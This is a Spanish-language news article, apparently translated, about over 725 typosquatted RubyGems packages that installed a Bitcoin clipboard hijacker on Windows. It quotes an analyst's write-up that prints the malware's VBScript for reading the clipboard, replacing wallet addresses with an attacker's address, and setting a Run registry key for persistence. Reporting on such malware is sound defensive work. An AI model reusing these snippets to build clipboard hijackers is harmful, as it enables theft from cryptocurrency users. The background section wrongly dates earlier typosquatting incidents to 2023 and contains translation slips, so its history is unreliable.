Recientemente se encontraron más de 725 paquetes maliciosos descargados miles de veces en RubyGems, el canal oficial para distribuir programas y bibliotecas de códigos para el lenguaje de programación Ruby.
Los paquetes maliciosos se descargaron casi 100.000 veces, aunque es probable que un porcentaje significativo de ellos sea el resultado de scripts que rastrean automáticamente los 158.000 paquetes disponibles en el repositorio, dijo a Ars Tomislav Pericin, cofundador y jefe de arquitectura de software de la firma de seguridad ReversingLabs. Todos ellos se originaron a partir de solo dos cuentas de usuario: “JimCarrey” y “PeterGibbons”.
Las cuentas, que ReversingLabs sospecha que pueden ser obra de una sola persona, usaron una variación de typosquatting, la técnica de dar a un archivo o dominio malicioso un nombre similar a un nombre comúnmente reconocible, para dar la impresión de que eran legítimos. Por ejemplo, “atlas-client”, un paquete trampa con 2100 descargas, era un sustituto del auténtico paquete “atlas_client”. Más de 700 de los paquetes se cargaron del 16 al 25 de febrero.
Una vez instalados, los paquetes ejecutaban un script que intentaba interceptar los pagos de Bitcoin realizados en dispositivos Windows. Tomislav Maljic, analista de amenazas de ReversingLabs, escribió en una publicación:
El guión en sí es bastante simple. Primero, crea un nuevo VBScript Sle con el bucle malicioso principal en la ruta “%PROGRAMDATA%\Microsoft Essentials\Software Essentials.vbs”. Como mecanismo de persistencia, luego crea una nueva clave de registro de ejecución automática “HCU\Software\Microsoft\Windows\CurrentVersion\Run Microsoft Software Essentials”. Con esto, el malware se asegura de que se ejecute cada vez que se inicia o reinicia el sistema.
Cuando se ejecuta el script malicioso “Software Essentials.vbs”, inicia un ciclo infinito donde captura los datos del portapapeles del usuario con las siguientes líneas de código:
Set objHTML = CreateObject("htmlfile")
text = objHTML.ParentWindow.ClipboardData.GetData("text")Luego, el script verifica si los datos del portapapeles coinciden con el formato de una dirección de billetera de criptomonedas. Si lo hace, reemplaza la dirección con una controlada por el atacante “1JkU5XdNLji4Ugbb8agEWL1ko5US42nNmc” en una ventana oculta usando el siguiente comando:
WScript.Shell run "C:\Windows\System32\cmd.exe /c echo 1JkU5XdNLji4Ugbb8agEWL1ko5US42nNmc | clip", 0
Con esto, el actor de amenazas está tratando de redirigir todas las posibles transacciones de criptomonedas a la dirección de su billetera. Al momento de escribir este blog, aparentemente no se realizaron transacciones para esta billetera.
Los mantenedores de RubyGems no respondieron a un correo electrónico en busca de comentarios.
El último de varios
De ninguna manera es la primera vez que las personas utilizan la errata para colar paquetes maliciosos en repositorios de código abierto ampliamente utilizados. En 2023, un estudiante universitario subió secuencias de comandos incompletas a RubyGems, PyPi y NPM, que son sitios web comunitarios para desarrolladores de los lenguajes de programación Python, Ruby y JavaScript, respectivamente. Una función de llamada a casa en los guiones del estudiante mostró que el código impostor se ejecutó más de 45 000 veces en más de 17 000 dominios separados, y más de la mitad de las veces su código recibió derechos administrativos todopoderosos. Dos de los dominios afectados terminaron en .mil, una indicación de que personas dentro del ejército de EE. UU. habían ejecutado su script.
Los atacantes adoptaron rápidamente la técnica. En 2023, un atacante infiltró un secuestrador de portapapeles en PyPi. El paquete malicioso se tituló “Colourama” y se parecía a Colorama, que es uno de los 20 módulos legítimos más descargados en el repositorio de Python. El paquete malicioso se descargó 171 veces, sin incluir las descargas de sitios espejo.
Un mes después, los atacantes lograron una hazaña aún más impresionante cuando colaron una puerta trasera para robar bitcoins en event-stream, una biblioteca de códigos con 2 millones de descargas del repositorio de NPM. Los desarrolladores de una billetera de moneda llamada CoPay incorporaron la biblioteca maliciosa en las actualizaciones y advirtieron que cualquier clave privada en la que se confíe con las versiones contaminadas debe considerarse comprometida.
El experimento del estudiante universitario de 2023 y la trampa explosiva de la biblioteca legítima de flujo de eventos demuestran que los ataques de la cadena de suministro contra los repositorios de código abierto pueden ser una forma efectiva de ejecutar código malicioso en máquinas sensibles. El evento de este año con RubyGems muestra que estos ataques a la cadena de suministro no van a desaparecer pronto.
“Existen muy pocas protecciones para que los desarrolladores de software se aseguren de que los paquetes que instalan desde estos repositorios estén libres de malware”, dijo Pericin, cofundador de ReversingLabs. “Hay una gran brecha en el mercado en este momento que está siendo explotada por los autores de malware”.